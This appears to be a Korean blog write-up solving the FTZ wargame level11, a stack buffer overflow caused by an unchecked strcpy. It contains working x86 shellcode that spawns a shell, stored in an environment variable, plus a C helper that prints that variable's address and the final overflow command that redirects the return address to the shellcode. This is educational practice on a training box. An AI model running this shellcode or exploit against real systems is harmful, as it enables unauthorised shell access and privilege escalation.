본문 바로가기
워게임/FTZ

FTZ - level11

by meanjung 2021. 7. 21.

hint

strcpy는 strncpy와 달리 글자수 점검을 하지 않는 취약점이 있다.

이걸 이용해서 buffer overflow로 풀면 된다.

 

tmp 폴더로 attackme 복사해서 tmp에서 gdb 열기

disas해보면

str배열은 ebp-264 위치에 있다는 것을 알 수 있다.

그러면 264+4(ebp)는 쓰레기 값을 채우고 ret에 변화를 줘서 쉘을 따면 되겠다.

 

 

환경 변수를 이용하면 될 것 같다.

 

export MYSHELL=$(python -c 'print"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"') ☞ 환경변수 등록

 

vi env.c

int main(){
	printf("%p\n", getenv("MYSHELL"));
	return 0;
}

 

gcc -o env env.c

./env ☞ 환경변수 MYSHELL의 주소가 나온다.

 

그럼 뭐 끝났다...

cd ~

./attackme `python -c 'print("A"*268+"MYSHELL주소")'`

 

my-pass 입력하면 비밀번호 구해진다.


해커_지망생이_알아야할_bof_기초-달고나.pdf 를 다 읽고 풀었다.

 

의문

환경변수 MYSHELL에 왜 쉘코드만 들어가는게 아니라 python -c 까지 같이 들어갈까????

-> 아스키 범위를 넘어가는 값들 때문에

 

알아두면 좋은 것

환경변수는 프로세스마다 있는 것이다.

 

여기서는 export로 환경변수를 할당하면 bash 쉘에 할당되는데, ./attackme를 실행하면 자식 프로세스로 생성되어 bash가 가지고 있는 환경변수를 그대로 가져간다.

 

'워게임 > FTZ' 카테고리의 다른 글

FTZ - level14  (0) 2021.07.23
FTZ - level12  (0) 2021.07.22
FTZ - level10  (1) 2021.07.12
FTZ - level9  (0) 2021.07.06
FTZ - level8  (0) 2021.07.06

댓글